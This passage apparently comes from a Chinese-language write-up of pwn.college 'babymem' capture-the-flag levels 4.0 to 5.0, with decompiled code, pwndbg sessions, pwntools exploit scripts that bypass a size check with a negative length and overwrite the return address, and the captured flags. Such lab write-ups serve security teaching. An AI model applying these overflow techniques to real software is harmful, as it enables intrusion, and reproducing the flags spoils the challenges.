  if ( v9 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v9);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the address of win() is %p.\n&quot;, win);
  putchar(10);
  puts(&quot;If you have managed to overwrite the return address with the correct value,&quot;);
  puts(&quot;challenge() will jump straight to win() when it returns.&quot;);
  printf(&quot;Let&apos;s try it now!\n\n&quot;);
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// ...

if ( SLODWORD(nbytes[0]) &amp;gt; 106 )
{
  puts(&quot;Provided size is too large!&quot;);
  exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SLODWORD(nbytes[0]) &amp;gt; 106&lt;/code&gt; 则退出程序。但是我们的 payload 为 144 bytes（提示信息中已经说明了 payload 长度），因此显然不能在 payload size 中直接输入 144。&lt;/p&gt;
&lt;p&gt;为了绕过这一点，我们注意到 &lt;code&gt;nbytes&lt;/code&gt; 的类型为 &lt;code&gt;size_t&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ...

size_t nbytes[15]; // [rsp+2Ch] [rbp-84h] BYREF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 &lt;code&gt;size_t&lt;/code&gt; 是无符号整形，所以如果我们提供一个负数，它将会被隐式地转换为无符号数。&lt;/p&gt;
&lt;p&gt;根据补码规则我们知道，&lt;code&gt;-1&lt;/code&gt; 会被表示成 &lt;code&gt;0xffffffff&lt;/code&gt;，如果把它看作无符号数，这无疑是相当大的一个数字。&lt;/p&gt;
&lt;p&gt;又因为程序使用 &lt;code&gt;SLODWORD&lt;/code&gt; 来判断，这是获取一个有符号数的低 &lt;code&gt;DWORD&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;那么如果我们输入 &lt;code&gt;-1&lt;/code&gt; ，则程序最后执行 &lt;code&gt;SLODWORD(nbytes[0]) &amp;gt; 106&lt;/code&gt; 时判断的会是 &lt;code&gt;0xffffffff&lt;/code&gt; 和 &lt;code&gt;106&lt;/code&gt; 的大小。很显然前者小于后者，成功绕过了这个 &lt;code&gt;if&lt;/code&gt; 判断。&lt;/p&gt;
&lt;p&gt;而由于有符号数被隐式转换为无符号数保存在了 &lt;code&gt;nbytes&lt;/code&gt; 中，故我们获得了一个相当大的输入范围。&lt;/p&gt;
&lt;p&gt;正好 &lt;code&gt;read&lt;/code&gt; 获取用户输入的时候也把最大输入大小视作无符号数，毕竟输入大小显然不可能为负数。但这也为我们的攻击带来了可能：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ...

v9 = read(0, buf, LODWORD(nbytes[0]));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-4-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(0x88, b&quot;A&quot;) + p64(0x4020F3)

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(b&quot;-1&quot;)
target.recvuntil(b&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{YWYtWHsecMbA0xSnI1_Yfj-kjlB.0VN5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  size_t nbytes[7]; // [rsp+2Ch] [rbp-44h] BYREF
  int v4; // [rsp+64h] [rbp-Ch]
  void *buf; // [rsp+68h] [rbp-8h]

  buf = (char *)nbytes + 4;
  memset(nbytes, 0, 50);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%i&quot;, nbytes);
  if ( SLODWORD(nbytes[0]) &amp;gt; 46 )
  {
    puts(&quot;Provided size is too large!&quot;);
    exit(1);
  }
  printf(&quot;Send your payload (up to %i bytes)!\n&quot;, LODWORD(nbytes[0]));
  v4 = read(0, buf, LODWORD(nbytes[0]));
  if ( v4 &amp;lt; 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v1);
    exit(1);
  }
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和上一题思路相同，都是通过有符号数隐式转换为无符号数绕过 payload 长度判断，然后覆盖返回地址。几乎没区别，这里就不再赘述分析过程了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; i fun
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010f0  putchar@plt
0x0000000000401100  __errno_location@plt
0x0000000000401110  puts@plt
0x0000000000401120  write@plt
0x0000000000401130  printf@plt
0x0000000000401140  geteuid@plt
0x0000000000401150  read@plt
0x0000000000401160  setvbuf@plt
0x0000000000401170  open@plt
0x0000000000401180  __isoc99_scanf@plt
0x0000000000401190  exit@plt
0x00000000004011a0  strerror@plt
0x00000000004011b0  _start
0x00000000004011e0  _dl_relocate_static_pie
0x00000000004011f0  deregister_tm_clones
0x0000000000401220  register_tm_clones
0x0000000000401260  __do_global_dtors_aux
0x0000000000401290  frame_dummy
0x0000000000401296  bin_padding
0x0000000000401704  win
0x000000000040180b  challenge
0x0000000000401921  main
0x0000000000401a00  __libc_csu_init
0x0000000000401a70  __libc_csu_fini
0x0000000000401a78  _fini
pwndbg&amp;gt; disass challenge
Dump of assembler code for function challenge:
   0x000000000040180b &amp;lt;+0&amp;gt;: endbr64
   0x000000000040180f &amp;lt;+4&amp;gt;: push   rbp
   0x0000000000401810 &amp;lt;+5&amp;gt;: mov    rbp,rsp
   0x0000000000401813 &amp;lt;+8&amp;gt;: sub    rsp,0x70
   0x0000000000401817 &amp;lt;+12&amp;gt;: mov    DWORD PTR [rbp-0x54],edi
   0x000000000040181a &amp;lt;+15&amp;gt;: mov    QWORD PTR [rbp-0x60],rsi
   0x000000000040181e &amp;lt;+19&amp;gt;: mov    QWORD PTR [rbp-0x68],rdx
   0x0000000000401822 &amp;lt;+23&amp;gt;: mov    QWORD PTR [rbp-0x40],0x0
   0x000000000040182a &amp;lt;+31&amp;gt;: mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000401832 &amp;lt;+39&amp;gt;: mov    QWORD PTR [rbp-0x30],0x0
   0x000000000040183a &amp;lt;+47&amp;gt;: mov    QWORD PTR [rbp-0x28],0x0
   0x0000000000401842 &amp;lt;+55&amp;gt;: mov    QWORD PTR [rbp-0x20],0x0
   0x000000000040184a &amp;lt;+63&amp;gt;: mov    DWORD PTR [rbp-0x18],0x0
   0x0000000000401851 &amp;lt;+70&amp;gt;: mov    WORD PTR [rbp-0x14],0x0
   0x0000000000401857 &amp;lt;+76&amp;gt;: lea    rax,[rbp-0x40]
   0x000000000040185b &amp;lt;+80&amp;gt;: mov    QWORD PTR [rbp-0x8],rax
   0x000000000040185f &amp;lt;+84&amp;gt;: mov    DWORD PTR [rbp-0x44],0x0
   0x0000000000401866 &amp;lt;+91&amp;gt;: lea    rdi,[rip+0x89f]        # 0x40210c
   0x000000000040186d &amp;lt;+98&amp;gt;: mov    eax,0x0
   0x0000000000401872 &amp;lt;+103&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x0000000000401877 &amp;lt;+108&amp;gt;: lea    rax,[rbp-0x44]
   0x000000000040187b &amp;lt;+112&amp;gt;: mov    rsi,rax
   0x000000000040187e &amp;lt;+115&amp;gt;: lea    rdi,[rip+0x896]        # 0x40211b
   0x0000000000401885 &amp;lt;+122&amp;gt;: mov    eax,0x0
   0x000000000040188a &amp;lt;+127&amp;gt;: call   0x401180 &amp;lt;__isoc99_scanf@plt&amp;gt;
   0x000000000040188f &amp;lt;+132&amp;gt;: mov    eax,DWORD PTR [rbp-0x44]
   0x0000000000401892 &amp;lt;+135&amp;gt;: cmp    eax,0x2e
   0x0000000000401895 &amp;lt;+138&amp;gt;: jle    0x4018ad &amp;lt;challenge+162&amp;gt;
   0x0000000000401897 &amp;lt;+140&amp;gt;: lea    rdi,[rip+0x880]        # 0x40211e
   0x000000000040189e &amp;lt;+147&amp;gt;: call   0x401110 &amp;lt;puts@plt&amp;gt;
   0x00000000004018a3 &amp;lt;+152&amp;gt;: mov    edi,0x1
   0x00000000004018a8 &amp;lt;+157&amp;gt;: call   0x401190 &amp;lt;exit@plt&amp;gt;
   0x00000000004018ad &amp;lt;+162&amp;gt;: mov    eax,DWORD PTR [rbp-0x44]
   0x00000000004018b0 &amp;lt;+165&amp;gt;: mov    esi,eax
   0x00000000004018b2 &amp;lt;+167&amp;gt;: lea    rdi,[rip+0x887]        # 0x402140
   0x00000000004018b9 &amp;lt;+174&amp;gt;: mov    eax,0x0
   0x00000000004018be &amp;lt;+179&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x00000000004018c3 &amp;lt;+184&amp;gt;: mov    eax,DWORD PTR [rbp-0x44]
   0x00000000004018c6 &amp;lt;+187&amp;gt;: mov    edx,eax
   0x00000000004018c8 &amp;lt;+189&amp;gt;: mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004018cc &amp;lt;+193&amp;gt;: mov    rsi,rax
   0x00000000004018cf &amp;lt;+196&amp;gt;: mov    edi,0x0
   0x00000000004018d4 &amp;lt;+201&amp;gt;: call   0x401150 &amp;lt;read@plt&amp;gt;
   0x00000000004018d9 &amp;lt;+206&amp;gt;: mov    DWORD PTR [rbp-0xc],eax
   0x00000000004018dc &amp;lt;+209&amp;gt;: cmp    DWORD PTR [rbp-0xc],0x0
   0x00000000004018e0 &amp;lt;+213&amp;gt;: jns    0x40190e &amp;lt;challenge+259&amp;gt;
   0x00000000004018e2 &amp;lt;+215&amp;gt;: call   0x401100 &amp;lt;__errno_location@plt&amp;gt;
   0x00000000004018e7 &amp;lt;+220&amp;gt;: mov    eax,DWORD PTR [rax]
   0x00000000004018e9 &amp;lt;+222&amp;gt;: mov    edi,eax
   0x00000000004018eb &amp;lt;+224&amp;gt;: call   0x4011a0 &amp;lt;strerror@plt&amp;gt;
   0x00000000004018f0 &amp;lt;+229&amp;gt;: mov    rsi,rax
   0x00000000004018f3 &amp;lt;+232&amp;gt;: lea    rdi,[rip+0x86e]        # 0x402168
   0x00000000004018fa &amp;lt;+239&amp;gt;: mov    eax,0x0
   0x00000000004018ff &amp;lt;+244&amp;gt;: call   0x401130 &amp;lt;printf@plt&amp;gt;
   0x0000000000401904 &amp;lt;+249&amp;gt;: mov    edi,0x1
   0x0000000000401909 &amp;lt;+254&amp;gt;: call   0x401190 &amp;lt;exit@plt&amp;gt;
   0x000000000040190e &amp;lt;+259&amp;gt;: lea    rdi,[rip+0x877]        # 0x40218c
   0x0000000000401915 &amp;lt;+266&amp;gt;: call   0x401110 &amp;lt;puts@plt&amp;gt;
   0x000000000040191a &amp;lt;+271&amp;gt;: mov    eax,0x0
   0x000000000040191f &amp;lt;+276&amp;gt;: leave
   0x0000000000401920 &amp;lt;+277&amp;gt;: ret
End of assembler dump.
pwndbg&amp;gt; b *challenge+201
Breakpoint 1 at 0x4018d4
pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-4-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/usr/lib/libthread_db.so.1&quot;.
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-4-1!
###

Payload size: 16
Send your payload (up to 16 bytes)!

Breakpoint 1, 0x00000000004018d4 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────
 RAX  0x7fffffffd170 ◂— 0
 RBX  0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-4-1&apos;
 RCX  0
 RDX  0x10
 RDI  0
 RSI  0x7fffffffd170 ◂— 0
 R8   0x69
 R9   0xfffffffe
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 R15  0
 RBP  0x7fffffffd1b0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
 RSP  0x7fffffffd140 —▸ 0x7fffffffd170 ◂— 0
 RIP  0x4018d4 (challenge+201) ◂— call 0x401150
────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────
 ► 0x4018d4 &amp;lt;challenge+201&amp;gt;    call   read@plt                    &amp;lt;read@plt&amp;gt;
        fd: 0 (/dev/pts/2)
        buf: 0x7fffffffd170 ◂— 0
        nbytes: 0x10

   0x4018d9 &amp;lt;challenge+206&amp;gt;    mov    dword ptr [rbp - 0xc], eax
   0x4018dc &amp;lt;challenge+209&amp;gt;    cmp    dword ptr [rbp - 0xc], 0
   0x4018e0 &amp;lt;challenge+213&amp;gt;    jns    challenge+259               &amp;lt;challenge+259&amp;gt;

   0x4018e2 &amp;lt;challenge+215&amp;gt;    call   __errno_location@plt        &amp;lt;__errno_location@plt&amp;gt;

   0x4018e7 &amp;lt;challenge+220&amp;gt;    mov    eax, dword ptr [rax]
   0x4018e9 &amp;lt;challenge+222&amp;gt;    mov    edi, eax
   0x4018eb &amp;lt;challenge+224&amp;gt;    call   strerror@plt                &amp;lt;strerror@plt&amp;gt;

   0x4018f0 &amp;lt;challenge+229&amp;gt;    mov    rsi, rax
   0x4018f3 &amp;lt;challenge+232&amp;gt;    lea    rdi, [rip + 0x86e]     RDI =&amp;gt; 0x402168 ◂— &apos;ERROR: Failed to read input -- %s!\n&apos;
   0x4018fa &amp;lt;challenge+239&amp;gt;    mov    eax, 0                 EAX =&amp;gt; 0
──────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ rsp     0x7fffffffd140 —▸ 0x7fffffffd170 ◂— 0
01:0008│-068     0x7fffffffd148 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— &apos;SHELL=/usr/bin/zsh&apos;
02:0010│-060     0x7fffffffd150 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-4-1&apos;
03:0018│-058     0x7fffffffd158 ◂— 0x10000000a /* &apos;\n&apos; */
04:0020│-050     0x7fffffffd160 —▸ 0x7ffff7f8d5c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0028│-048     0x7fffffffd168 ◂— 0x1000404020 /* &apos; @@&apos; */
06:0030│ rax rsi 0x7fffffffd170 ◂— 0
07:0038│-038     0x7fffffffd178 ◂— 0
────────────────────────────────────[ BACKTRACE ]────────────────────────────────────
 ► 0         0x4018d4 challenge+201
   1         0x4019e7 main+198
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4         0x4011de _start+46
─────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; i frame
Stack level 0, frame at 0x7fffffffd1c0:
 rip = 0x4018d4 in challenge; saved rip = 0x4019e7
 called by frame at 0x7fffffffe1f0
 Arglist at 0x7fffffffd1b0, args:
 Locals at 0x7fffffffd1b0, Previous frame&apos;s sp is 0x7fffffffd1c0
 Saved registers:
  rbp at 0x7fffffffd1b0, rip at 0x7fffffffd1b8
pwndbg&amp;gt; distance 0x7fffffffd170 0x7fffffffd1b8
0x7fffffffd170-&amp;gt;0x7fffffffd1b8 is 0x48 bytes (0x9 words)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-4-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(0x48, b&quot;A&quot;) + p64(0x401704)

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(b&quot;-1&quot;)
target.recvuntil(b&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{M-FCJzqtx7cmDX7yqpyi7jADAMM.0lN5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-B0h] BYREF
  int v7; // [rsp+1Ch] [rbp-94h]
  unsigned int v8; // [rsp+28h] [rbp-88h] BYREF
  unsigned int v9; // [rsp+2Ch] [rbp-84h] BYREF
  _QWORD v10[12]; // [rsp+30h] [rbp-80h] BYREF
  __int16 v11; // [rsp+90h] [rbp-20h]
  int v12; // [rsp+9Ch] [rbp-14h]
  size_t nbytes; // [rsp+A0h] [rbp-10h]
  void *buf; // [rsp+A8h] [rbp-8h]
  __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  memset(v10, 0, sizeof(v10));
  v11 = 0;
  buf = v10;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 98);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is no \&quot;win\&quot; variable.&quot;);
  puts(&quot;You will need to force the program to execute the win() function&quot;);
  puts(&quot;by directly overflowing into the stored return address back to main,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_DWORD)buf + 8,
    98);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_DWORD)buf - 98);
  puts(&quot;and 8 that will overwrite the return address).\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the canary is disabled, otherwise you would corrupt it before&quot;);
  puts(&quot;overwriting the return address, and the program would abort.&quot;);
  puts(&quot;- the binary is *not* position independent. This means that it will be&quot;);
  puts(&quot;located at the same spot every time it is run, which means that by&quot;);
  puts(&quot;analyzing the binary (using objdump or reading this output), you can&quot;);
  puts(&quot;know the exact value that you need to overwrite the return address with.\n&quot;);
  puts(&quot;This challenge will let you send multiple payload records concatenated together.&quot;);
  puts(&quot;It will make sure that the total payload size fits in the allocated buffer&quot;);
  puts(&quot;on the stack. Can you send a carefully crafted input to break this calculation?&quot;);
  printf(&quot;Number of payload records to send: &quot;);
  __isoc99_scanf(&quot;%u&quot;, &amp;amp;v9);
  if ( !v9 )
    __assert_fail(&quot;record_num &amp;gt; 0&quot;, &quot;/challenge/babymem-level-5-0.c&quot;, 0x8Fu, &quot;challenge&quot;);
  printf(&quot;Size of each payload record: &quot;);
  __isoc99_scanf(&quot;%u&quot;, &amp;amp;v8);
  if ( !v8 )
    __assert_fail(&quot;record_size &amp;gt; 0&quot;, &quot;/challenge/babymem-level-5-0.c&quot;, 0x92u, &quot;challenge&quot;);
  if ( v8 * v9 &amp;gt; 0x62 )
    __assert_fail(&quot;record_size * record_num &amp;lt;= 98&quot;, &quot;/challenge/babymem-level-5-0.c&quot;, 0x93u, &quot;challenge&quot;);
  nbytes = v8 * (unsigned __int64)v9;
  printf(&quot;Computed total payload size: %lu\n&quot;, nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 98);
  printf(&quot;Of these, you will overwrite %d bytes into the return address.\n&quot;, nbytes + (_DWORD)buf - rp_);
  puts(&quot;If that number is greater than 8, you will overwrite the entire return address.\n&quot;);
  puts(&quot;You will want to overwrite the return value from challenge()&quot;);
  printf(&quot;(located at %p, %d bytes past the start of the input buffer)\n&quot;, (const void *)rp_, rp_ - (_DWORD)buf);
  printf(&quot;with %p, which is the address of the win() function.\n&quot;, win);
  puts(&quot;This will cause challenge() to return directly into the win() function,&quot;);
  puts(&quot;which will in turn give you the flag.&quot;);
  puts(&quot;Keep in mind that you will need to write the address of the win() function&quot;);
  puts(&quot;in little-endian (bytes backwards) so that it is interpreted properly.\n&quot;);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v12 = read(0, buf, nbytes);
  if ( v12 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v12);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the address of win() is %p.\n&quot;, win);
  putchar(10);
  puts(&quot;If you have managed to overwrite the return address with the correct value,&quot;);
  puts(&quot;challenge() will jump straight to win() when it returns.&quot;);
  printf(&quot;Let&apos;s try it now!\n\n&quot;);
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先，两个 &lt;code&gt;__isoc99_scanf&lt;/code&gt; 都读取无符号数，易想到补码性质和隐式转换问题。其次，读取输入后两条 &lt;code&gt;if&lt;/code&gt; 分别判断两个 &lt;code&gt;__isoc99_scanf&lt;/code&gt; 输入是否等于零，为零就断言失败。最后，不能满足 &lt;code&gt;v8 * v9 &amp;gt; 0x62&lt;/code&gt; 这条判断，也就是输入的两个有符号数相乘（通过反汇编得知这里的乘法使用 &lt;code&gt;imul&lt;/code&gt;）的结果必须小于等于 98，否则也会断言失败。&lt;/p&gt;
&lt;p&gt;通过程序给出的提示信息我们已经知道 payload 的大小为 144 bytes，所以我们要做的就是想办法满足在 &lt;code&gt;v8 * v9 &amp;gt; 0x62&lt;/code&gt; 不成立的前提下获得起码 144 bytes 的输入大小。因为最后 &lt;code&gt;read&lt;/code&gt; 的输入的大小是通过 &lt;code&gt;nbytes = v8 * (unsigned __int64)v9;&lt;/code&gt; 设置的，所以我们只要关注 &lt;code&gt;v8&lt;/code&gt;、&lt;code&gt;v9&lt;/code&gt; 的选择。&lt;/p&gt;
&lt;p&gt;如果我们输入两个 &lt;code&gt;-1&lt;/code&gt;，那确实绕过了 &lt;code&gt;v8 * v9 &amp;gt; 0x62&lt;/code&gt;。但是调试发现 &lt;code&gt;nbytes&lt;/code&gt; 超出 &lt;code&gt;ssize_t&lt;/code&gt; 的大小（显然 &lt;code&gt;0xfffffffe00000001 &amp;gt; 2**63-1&lt;/code&gt;）会导致 &lt;code&gt;read&lt;/code&gt; 不会读取任何数据，直接返回 &lt;code&gt;-1&lt;/code&gt;，最后程序抛出异常并退出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; c
Continuing.

Breakpoint 2, 0x000000000040291c in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX  0x7ffd77ce3510 ◂— 0
 RBX  0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0&apos;
 RCX  0
*RDX  0xfffffffe00000001
*RDI  0
*RSI  0x7ffd77ce3510 ◂— 0
*R8   0x75
*R9   0xffffffec
 R10  0
*R11  0x202
 R12  1
 R13  0
 R14  0x796eb2ce0000 (_rtld_global) —▸ 0x796eb2ce12e0 ◂— 0
 R15  0
 RBP  0x7ffd77ce3590 —▸ 0x7ffd77ce45c0 —▸ 0x7ffd77ce4660 —▸ 0x7ffd77ce46c0 ◂— 0
 RSP  0x7ffd77ce34e0 ◂— 0xa /* &apos;\n&apos; */
*RIP  0x40291c (challenge+1342) ◂— call 0x401170
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x40291c &amp;lt;challenge+1342&amp;gt;    call   read@plt                    &amp;lt;read@plt&amp;gt;
        fd: 0 (pipe:[419970])
        buf: 0x7ffd77ce3510 ◂— 0
        nbytes: 0xfffffffe00000001

   0x402921 &amp;lt;challenge+1347&amp;gt;    mov    dword ptr [rbp - 0x14], eax
   0x402924 &amp;lt;challenge+1350&amp;gt;    cmp    dword ptr [rbp - 0x14], 0
   0x402928 &amp;lt;challenge+1354&amp;gt;    jns    challenge+1400              &amp;lt;challenge+1400&amp;gt;

   0x40292a &amp;lt;challenge+1356&amp;gt;    call   __errno_location@plt        &amp;lt;__errno_location@plt&amp;gt;

   0x40292f &amp;lt;challenge+1361&amp;gt;    mov    eax, dword ptr [rax]
   0x402931 &amp;lt;challenge+1363&amp;gt;    mov    edi, eax
   0x402933 &amp;lt;challenge+1365&amp;gt;    call   strerror@plt                &amp;lt;strerror@plt&amp;gt;

   0x402938 &amp;lt;challenge+1370&amp;gt;    mov    rsi, rax
   0x40293b &amp;lt;challenge+1373&amp;gt;    lea    rdi, [rip + 0x147e]     RDI =&amp;gt; 0x403dc0 ◂— &apos;ERROR: Failed to read input -- %s!\n&apos;
   0x402942 &amp;lt;challenge+1380&amp;gt;    mov    eax, 0                  EAX =&amp;gt; 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp     0x7ffd77ce34e0 ◂— 0xa /* &apos;\n&apos; */
01:0008│-0a8     0x7ffd77ce34e8 —▸ 0x7ffd77ce46f8 —▸ 0x7ffd77ce55d8 ◂— &apos;MOTD_SHOWN=pam&apos;
